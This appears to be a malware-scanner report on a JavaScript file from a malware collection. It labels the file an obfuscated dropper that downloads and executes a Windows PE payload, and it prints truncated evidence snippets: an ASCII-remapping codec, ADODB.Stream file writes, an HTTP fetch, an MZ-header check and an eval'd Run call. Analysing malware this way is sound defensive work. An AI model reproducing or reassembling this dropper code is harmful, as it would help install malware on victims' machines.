Hostile ^100% javascript-malware-collection Download

20161130_ca8148b873fbc5f98c422ba6cd45daa2.js

Obfuscated dropper executes PE payload

WScript bracket-member access in source textChecks array for PE magic bytes

SHA-25684aa14015a0c9896d9bb46e5102e3f77e1ac66d1e25a2983846037ac3cb95c11

MaleculeK(Li)O₅(As₆CAlSXe)H₆(F₄Cm₂CrDb₆Os₂Po₄)

Evidence

ASCII remapping assignment markers lines 1–5

1String.prototype["ZZZZZZZZZZZzzzzzzzzzzzzzzzzzGZg8"] = function () {return ("asdf", this.split(",").join(""));};
2//BEGIN_CODEC_PART
3function ZZZZZZZZZZZzzzzzzzzzzzzzzzzzYPw3(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKNo5)
4{var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2=new Array();
5ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[199]=128;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[252]=129;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[233]=130;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[226]=131;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[228]=132;ZZZZZZZZZZZzzzzzzzzzzzzzzzzzBi2[224]=133;ZZZZZZZZZZZzzzzzzzzzzzzzzzzz …

ADODB.Stream with MS-DOS charset 437 lines 49–59

49:132… ZZZzzzzzzzzzzzzzzzzzUFr6 += 1)
50{ZZZZZZZZZZZzzzzzzzzzzzzzzzzzATs3[ZZZZZZZZZZZzzzzzzzzzzzzzzzzzUFr6] ^= ZZZZZZZZZZZzzzzzzzzzzzzzzzzzPRe5[ZZZZZZZZZZZzzzzzzzzzzzzzzzzzUFr6 % ZZZZZZZZZZZzzzzzzzzzzzzzzzzzPRe5.length];};
51return ZZZZZZZZZZZzzzzzzzzzzzzzzzzzATs3;}
52function ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZBj8(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzLYe5)
53{var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1=new ActiveXObject("ADODB.Stream");
54ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1.type=2;
55ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1["Charset"]="437";
56ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1.open();
57ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1["LoadFromFile"](ZZZZZZZZZZZzzzzzzzzzzzzzzzzzLYe5);
58var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzHd5=ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1["ReadText"];
59ZZZZZZZZZZZ …

Obfuscated computed call cluster lines 64–72

64:29… ZDy1["Charset"]="437";
65ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1.open();
66ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1["writeText"](ZZZZZZZZZZZzzzzzzzzzzzzzzzzzYZz2(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzATs3));
67ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1["SaveToFile"](ZZZZZZZZZZZzzzzzzzzzzzzzzzzzLYe5, 2);
68ZZZZZZZZZZZzzzzzzzzzzzzzzzzzZDy1.close();}
69//END_CODEC_PART
70var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzUBo0 = "http://";
71    var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzFg6 = new Array();
72ZZZZZZZZZZZzzzzzzzzzzzzzzzzzFg6.push(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzUBo0 + …

WScript bracket-member access in source text lines 99–109

99ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
100ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2["s,e,n,d".ZZZZZZZZZZZzzzzzzzzzzzzzzzzzGZg8()]();
101// while (ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2.readystate < 4) WScript["Sleep"](100);
102ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1.open();
103ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1.type=1;
104var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKVe3 = new Date();
105ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKVe3.setFullYear("2002");
106/*@cc_on
107ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1.write(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzQTh2.ResponseBody);
108ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1.position=0;
109if (""+ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKVe3.getFullYear() == "2002") ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWe1["SaveToFile"](ZZZZZZZZZZZzzzzz …

Checks array for PE magic bytes lines 112–116

112:74… ZZZZZzzzzzzzzzzzzzzzzzXd9, ZZZZZZZZZZZzzzzzzzzzzzzzzzzzCa2);
113if (ZZZZZZZZZZZzzzzzzzzzzzzzzzzzXd9[0] != 77 || ZZZZZZZZZZZzzzzzzzzzzzzzzzzzXd9[1] != 90) continue;
114ZZZZZZZZZZZzzzzzzzzzzzzzzzzzJOq8(ZZZZZZZZZZZzzzzzzzzzzzzzzzzzNAh0, ZZZZZZZZZZZzzzzzzzzzzzzzzzzzXd9);
115var ZZZZZZZZZZZzzzzzzzzzzzzzzzzzOi0 = ZZZZZZZZZZZzzzzzzzzzzzzzzzzzFn8();
116if (""+ZZZZZZZZZZZzzzzzzzzzzzzzzzzzKVe3["getFullYear"]() == "2002") eval('ZZZZZZZZZZZzzzzzzzzzzzzzzzzzWUb9["R\x2c\x75\x2c\x6e".ZZZZZZZZZZZzzzzzzzzzzzzzzzzzGZg8()]("r\x2c\x75\x2c\x6e\x2c\x64\x2 …